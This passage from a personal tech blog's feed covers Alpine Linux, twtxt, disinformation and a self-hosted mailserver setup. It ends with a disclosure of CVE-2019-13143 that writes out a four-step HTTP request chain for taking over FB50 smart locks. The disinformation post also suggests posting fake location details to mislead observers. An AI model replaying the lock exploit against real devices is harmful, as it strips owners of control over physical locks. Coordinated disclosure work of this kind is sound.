1293uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
1294since then. Let’s get right into it!</p>
1295
1296<h2 id="my-switch-to-alpine">My switch to Alpine</h2>
1297
1298<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
1299
1300<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
1301<span class="m">3817</span>
1302
1303<span class="c1"># or something in that ballpark</span>
1304</code></pre></div>
1305
1306<p>I’ve been wanting to reduce my system’s package count.</p>
1307
1308<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
1309sane package manager. I did come across Dylan Araps’
1310<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
1311for me (and still relatively new). I finally settled on
1312<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
1313
1314<blockquote>
1315 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
1316 on musl libc and busybox.</p>
1317</blockquote>
1318
1319<p>The installation was a breeze, and I was quite surprised to see WiFi working
1320OOTB. In the past week of my using this distro, the only major hassle I faced
1321was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
1322yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
1323soon. (hint: it involves chroots)</p>
1324
1325<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
1326
1327<h2 id="packaging-for-alpine">Packaging for Alpine</h2>
1328
1329<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
1330– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
1331repository if you’re interested. I’m currently working on packaging Nim too, so
1332keep an eye out for that in the coming week.</p>
1333
1334<h2 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h2>
1335
1336<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
1337going to be speaking at PyCon India about our recent smart lock security
1338research. The conference is happening in Chennai, much to our convenience.
1339If you’re attending too, hit me up on Twitter and we can hang!</p>
1340
1341<h2 id="other">Other</h2>
1342
1343<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
1344strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
1345week, for sure.</p>
1346
1347<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
1348I think I like it? I still find myself coming back to metalcore/deathcore.
1349Here’s a list of artists I discovered (and liked) recently:</p>
1350
1351<ul>
1352<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
1353<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
1354<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
1355<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
1356<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
1357</ul>
1358
1359<p>That’s it for now, I’ll see you next week!</p>
1360
1361<div class="footnotes">
1362<hr />
1363<ol>
1364<li id="fn-1">
1365<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1366</li>
1367</ol>
1368</div>
1369]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
1370and to serve as a log of how I’m using my time. In theory, I will write this post
1371every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
1372a format for this, but it will probably include a quick summary of the work I did,
1373things I read, IRL stuff, etc.</p>
1374
1375<p>With the meta stuff out of the way, here’s what went down last week!</p>
1376
1377<h2 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h2>
1378
1379<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
1380the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
1381It creates a small community of sites and enables sharing of traffic among these sites.
1382The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
1383of those sites are beautiful. Mine pales in comparison.</p>
1384
1385<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
1386called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
1387and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
1388twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
1389
1390<p>Which brings me to the next thing I did this/last week.</p>
1391
1392<h2 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h2>
1393
1394<p>I’m not a fan of the official Python client, because you know, Python is bloat.
1395As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
1396authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
1397It’s not entirely useable as of yet, but it’s definitely getting there, with the help
1398of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
1399
1400<h2 id="other">Other</h2>
1401
1402<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
1403Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
1404It’s pretty good—each episode is only about 30 mins and it hits the sweet spot,
1405delvering both interesting security content and news.</p>
1406
1407<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
1408“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
1409
1410<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
1411easy to pick up. Learning the Cyrillic script will require some relearning, especially
1412with letters like в, н, р, с, etc. that look like English but sound entirely different.
1413I think I’m pretty serious about learning this language—I’ve added the Russian keyboard
1414to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
1415layout to my keyboard map too:</p>
1416
1417<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
1418</code></pre>
1419
1420<p>With that ends my weekly update, and I’ll see you next week!</p>
1421]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
1422According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
1423<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
1424derived from the title of a KGB black propaganda department.</p>
1425
1426<blockquote>
1427 <p>Disinformation is false information spread deliberately to deceive.</p>
1428</blockquote>
1429
1430<p>To fully understand disinformation, especially in the modern age, we need to understand the
1431key factors of any successful disinformation operation:</p>
1432
1433<ul>
1434<li>creating disinformation (what)</li>
1435<li>the motivation behind the op, or its end goal (why)</li>
1436<li>the medium used to disperse the falsified information (how)</li>
1437<li>the actor (who)</li>
1438</ul>
1439
1440<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
1441
1442<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
1443forms—"info op” & “disinfo”.</p>
1444
1445<h2 id="creating-disinformation">Creating disinformation</h2>
1446
1447<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
1448of any disinformation sample is a huge indicator of the level of sophistication of the
1449actor involved, i.e. is it a 12 year old troll or a nation state?</p>
1450
1451<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
1452The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
1453To achieve this, the target — be it an individual, a specific demographic or an entire
1454nation — must be well researched. A deep understanding of the target’s culture, history,
1455geography and psychology is required. It also needs circumstantial and situational awareness,
1456of the target.</p>
1457
1458<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
1459recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
1460
1461<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
1462imagery:</p>
1463
1464<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
1465<p lang="en" dir="ltr">Disinformation.
1466<br><br>
1467The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
1468<br><br>Recontextualisation as threat vector.
1469<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
1470</p>— thaddeus e. grugq (@thegrugq)
1471<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
1472</blockquote>
1473
1474<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
1475
1476<h2 id="motivations-behind-an-information-operation">Motivations behind an information operation</h2>
1477
1478<p>I like to broadly categorize any info op as either proactive or reactive.
1479Proactively, disinformation is spread with the desire to influence the target
1480either before or during the occurence of an event. This is especially observed
1481during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
1482In offensive information operations, the target’s psychological state can be affected by
1483spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
1484
1485<p>Reactive disinformation is when the actor, usually a nation state in this case,
1486screws up and wants to cover their tracks. A fitting example of this is the case
1487of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
1488eastern Ukraine. This tragic incident has been attributed to Russian-backed
1489separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
1490Russian media is known to have desseminated a number of alternative & some even
1491conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
1492Investigation Team) investigations pointed towards the separatists.
1493The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
1494potentially correct information takes a credibility hit.</p>
1495
1496<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
1497in totalitarian regimes; when the government decides what the media portrays to the
1498masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
1499
1500<blockquote>
1501 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
1502 namely from the United States, and what they have called criminal Hong Kong thugs.
1503 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
1504 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
1505 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
1506 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
1507 …</p>
1508</blockquote>
1509
1510<h2 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h2>
1511
1512<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
1513play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
1514popularity.</p>
1515
1516<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
1517generate activity programmatically via the API, Twitter bots are the go-to choice today for
1518info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
1519to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
1520get realtime insights into what sticks and what doesn’t.
1521The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
1522factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
1523to create discussions about alternative theories.</p>
1524
1525<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
1526actively invest in creating group chats to spread political messages and memes. These parties
1527have volunteers whose sole job is to sit and forward messages.
1528Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
1529this is disinformation without a motive, or the motive is hard to determine simply because
1530the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
1531This is a difficult problem to combat, especially given the nature of the target audience.</p>
1532
1533<h2 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h2>
1534
1535<p>I doubt this requires further elaboration, but in short:</p>
1536
1537<ul>
1538<li>nation states and their intelligence agencies</li>
1539<li>governments, political parties</li>
1540<li>other non/quasi-governmental groups</li>
1541<li>trolls</li>
1542</ul>
1543
1544<p>This essentially sums up the what, why, how and who of disinformation. </p>
1545
1546<h2 id="personal-opsec">Personal OPSEC</h2>
1547
1548<p>This is a fun one. Now, it’s common knowledge that
1549<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
1550afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
1551lead to your OPSEC being compromised.
1552So if you really have to, you can feign activity using disinformation. For example,
1553pick a place, and throw in subtle details pertaining to the weather, local events
1554or regional politics of that place into your disinfo. Assuming this is Twitter, you can
1555tweet stuff like:</p>
1556
1557<ul>
1558<li>“Ugh, when will this hot streak end?!”</li>
1559<li>“Traffic wonky because of the Mardi Gras parade.”</li>
1560<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
1561</ul>
1562
1563<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
1564
1565<p>And please, don’t do this:</p>
1566
1567<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
1568
1569<h2 id="conclusion">Conclusion</h2>
1570
1571<p>The ability to influence someone’s decisions/thought process in just one tweet is
1572scary. There is no simple way to combat disinformation. Social media is hard to control.
1573Just like anything else in cyber, this too is an endless battle between social media corps
1574and motivated actors.</p>
1575
1576<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
1577folks see the truth in a post-truth world.</p>
1578
1579<div class="footnotes">
1580<hr />
1581<ol>
1582<li id="fn-1">
1583<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1584</li>
1585
1586<li id="fn-2">
1587<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1588</li>
1589
1590<li id="fn-3">
1591<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1592</li>
1593
1594<li id="fn-4">
1595<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
1596</li>
1597
1598<li id="fn-5">
1599<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
1600</li>
1601</ol>
1602</div>
1603]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
1604around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
1605I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1606
1607<p>For this attempt, I wanted a simpler approach. I recall how terribly
1608confusing Dovecot & Postfix were to configure and hence I decided to look
1609for a containerized solution, that most importantly, runs on my cheap $5
1610Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
1611is actually available. So yeah, <em>pretty</em> tight.</p>
1612
1613<h2 id="whats-available">What’s available</h2>
1614
1615<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
1616These are the ones I came across:</p>
1617
1618<ul>
1619<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
1620and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
1621<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
1622but ships with a web UI that I didn’t need. </p></li>
1623<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
1624they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
1625<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
1626a mention. It however, needs a fresh box to work with. A box with absolutely
1627nothing else on it. I can’t afford to do that.</p></li>
1628<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
1629</ul>
1630
1631<h2 id="so-docker-mailserver">So… <code>docker-mailserver</code></h2>
1632
1633<p>The first thing that caught my eye in the README:</p>
1634
1635<blockquote>
1636 <p>Recommended:</p>
1637
1638 <ul>
1639 <li>1 CPU</li>
1640 <li>1GB RAM</li>
1641 </ul>
1642
1643 <p>Minimum:</p>
1644
1645 <ul>
1646 <li>1 CPU</li>
1647 <li>512MB RAM</li>
1648 </ul>
1649</blockquote>
1650
1651<p>Fantastic, I can somehow squeeze this into my existing VPS.
1652Setup was fairly simple & the docs are pretty good. It employs a single
1653<code>.env</code> file for configuration, which is great.
1654However, I did run into a couple of hiccups here and there.</p>
1655
1656<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
1657of memory.</p>
1658
1659<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
1660</code></pre>
1661
1662<p>But it eventually worked after a couple of attempts.</p>
1663
1664<p>The next thing I struggled with — DNS. Specifically, the with the step where
1665the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
1666<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
1667isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
1668a <code>TXT</code> record. </p>
1669
1670<p>This is what it looks like.</p>
1671
1672<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
1673 "p=<key>"
1674 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
1675</code></pre>
1676
1677<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
1678and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
1679Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
1680
1681<p>To simplify debugging DNS issues later, it’s probably a good idea to
1682point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
1683<code>A</code> record.
1684You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
1685uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
1686And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
1687your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
1688I learnt this part the hard way, when my outgoing email kept getting
1689rejected by Tutanota’s servers.</p>
1690
1691<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
1692documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
1693and look at an example. In short, install <code>certbot</code>, have port 80 free,
1694and run </p>
1695
1696<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
1697</code></pre></div>
1698
1699<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
1700the container, something like so:</p>
1701
1702<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
1703
1704<span class="nt">volumes</span><span class="p">:</span>
1705 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
1706 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
1707 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
1708 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
1709
1710<span class="nn">...</span>
1711</code></pre></div>
1712
1713<p>With this done, you shouldn’t have mail clients complaining about
1714wonky certs for which you’ll have to add an exception manually.</p>
1715
1716<h2 id="why-would-you">Why would you…?</h2>
1717
1718<p>There are a few good reasons for this:</p>
1719
1720<h3 id="privacy">Privacy</h3>
1721
1722<p>No really, this is <em>the</em> best choice for truly private
1723email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
1724dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
1725
1726<blockquote>
1727 <p>Truly secure systems do not require you to trust the service provider.</p>
1728</blockquote>
1729
1730<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
1731how can you really be sure that it isn’t a backdoored version of it?</p>
1732
1733<p>When you host your own mailserver, you truly own your email without having to rely on any
1734third-party.
1735This isn’t an attempt to spread FUD. In the end, it all depends on your
1736threat model™.</p>
1737
1738<h3 id="decentralization">Decentralization</h3>
1739
1740<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
1741active users. That’s obscene.
1742Email was designed to be decentralized but big corps swooped in and
1743made it a product. They now control your data, and it isn’t unknown that
1744Google reads your mail. This again loops back to my previous point, privacy.
1745Decentralization guarantees privacy. When you control your mail, you subsequently
1746control who reads it.</p>
1747
1748<h3 id="personalization">Personalization</h3>
1749
1750<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
1751
1752<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
1753
1754<p>Pfft, this is no competition.</p>
1755
1756<div class="footnotes">
1757<hr />
1758<ol>
1759<li id="fn-1">
1760<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1761</li>
1762
1763<li id="fn-2">
1764<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1765</li>
1766
1767<li id="fn-3">
1768<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1769</li>
1770</ol>
1771</div>
1772]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
1773
1774<h2 id="the-lock">The lock</h2>
1775
1776<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
1777Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
1778across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
1779
1780<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
1781the Play/App Store to function. The app requires the user to create an
1782account before further functionality is available.
1783It also facilitates configuring the fingerprint,
1784and unlocking from a range via Bluetooth.</p>
1785
1786<p>We had two primary attack surfaces we decided to tackle—Bluetooth (BLE)
1787and the Android app.</p>
1788
1789<h2 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h2>
1790
1791<p>Android phones have the ability to capture Bluetooth (HCI) traffic
1792which can be enabled under Developer Options under Settings. We made
1793around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
1794
1795<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
1796
1797<p>This is the value sent in the <code>Write</code> request:</p>
1798
1799<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
1800
1801<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
1802but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1803
1804<h2 id="via-the-android-app">Via the Android app</h2>
1805
1806<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
1807far since most of it was obfuscated. Why bother when there exists an
1808easier approach—BurpSuite.</p>
1809
1810<p>We captured and played around with a bunch of requests and responses,
1811and finally arrived at a working exploit chain.</p>
1812
1813<h2 id="the-exploit">The exploit</h2>
1814
1815<p>The entire exploit is a 4 step process consisting of authenticated
1816HTTP requests:</p>
1817
1818<ol>
1819<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
1820vicinity), get the barcode and lock ID</li>
1821<li>Using the barcode, fetch the user ID</li>
1822<li>Using the lock ID and user ID, unbind the user from the lock</li>
1823<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
1824to the lock</li>
1825</ol>
1826
1827<p>This is what it looks like, in essence (personal info redacted).</p>
1828
1829<h3 id="request-1">Request 1</h3>
1830
1831<pre><code>POST /oklock/lock/queryDevice
1832{"mac":"XX:XX:XX:XX:XX:XX"}
1833</code></pre>
1834
1835<p>Response:</p>
1836
1837<pre><code>{
1838 "result":{
1839 "alarm":0,
1840 "barcode":"<BARCODE>",
1841 "chipType":"1",
1842 "createAt":"2019-05-14 09:32:23.0",
1843 "deviceId":"",
1844 "electricity":"95",
1845 "firmwareVersion":"2.3",
1846 "gsmVersion":"",
1847 "id":<LOCK ID>,
1848 "isLock":0,
1849 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1850 "lockPwd":"000000",
1851 "mac":"XX:XX:XX:XX:XX:XX",
1852 "name":"lock",
1853 "radioName":"BlueFPL",
1854 "type":0
1855 },
1856 "status":"2000"
1857}
1858</code></pre>
1859
1860<h3 id="request-2">Request 2</h3>
1861
1862<pre><code>POST /oklock/lock/getDeviceInfo
1863
1864{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
1865</code></pre>
1866
1867<p>Response:</p>
1868
1869<pre><code> "result":{
1870 "account":"email@some.website",
1871 "alarm":0,
1872 "barcode":"<BARCODE>",
1873 "chipType":"1",
1874 "createAt":"2019-05-14 09:32:23.0",
1875 "deviceId":"",
1876 "electricity":"95",
1877 "firmwareVersion":"2.3",
1878 "gsmVersion":"",
1879 "id":<LOCK ID>,
1880 "isLock":0,
1881 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1882 "lockPwd":"000000",
1883 "mac":"XX:XX:XX:XX:XX:XX",
1884 "name":"lock",
1885 "radioName":"BlueFPL",
1886 "type":0,
1887 "userId":<USER ID>
1888 }
1889</code></pre>
1890
1891<h3 id="request-3">Request 3</h3>
1892
1893<pre><code>POST /oklock/lock/unbind
1894
1895{"lockId":"<LOCK ID>","userId":<USER ID>}
1896</code></pre>
1897
1898<h3 id="request-4">Request 4</h3>
1899
1900<pre><code>POST /oklock/lock/bind
1901
1902{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
1903</code></pre>
1904
1905<h2 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h2>
1906
1907<p>You should have the lock transferred to your account. The severity of this
1908issue lies in the fact that the original owner completely loses access to
1909their lock. They can’t even “rebind” to get it back, since the current owner
1910(the attacker) needs to authorize that. </p>
1911
1912<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
1913Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
1914“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
1915
1916<p><em>shudders</em></p>
1917
1918<h2 id="proof-of-concept">Proof of Concept</h2>
1919
1920<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
1921
1922<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
1923
1924<h2 id="disclosure-timeline">Disclosure timeline</h2>
1925
1926<ul>
1927<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
1928<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
1929<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
1930<li>No response from vendor</li>
1931<li><strong>2nd August 2019</strong>: Public disclosure</li>
1932</ul>
1933
1934<h2 id="lessons-learnt">Lessons learnt</h2>
1935
1936<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
1937with keys. With the IoT plague spreading, it brings in a large attack surface
1938to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
1939
1940<p>The IoT security scene is rife with bugs from over 10 years ago, like
1941executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
1942practices in general.</p>
1943
1944<p>Our existing threat models and scenarios have to be updated to factor
1945in these new exploitation possibilities. This also broadens the playing
1946field for cyber warfare and mass surveillance campaigns. </p>
1947
1948<h2 id="researcher-info">Researcher info</h2>
1949
1950<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
1951
1952<ul>
1953<li>Anirudh Oppiliappan (me)</li>
1954<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
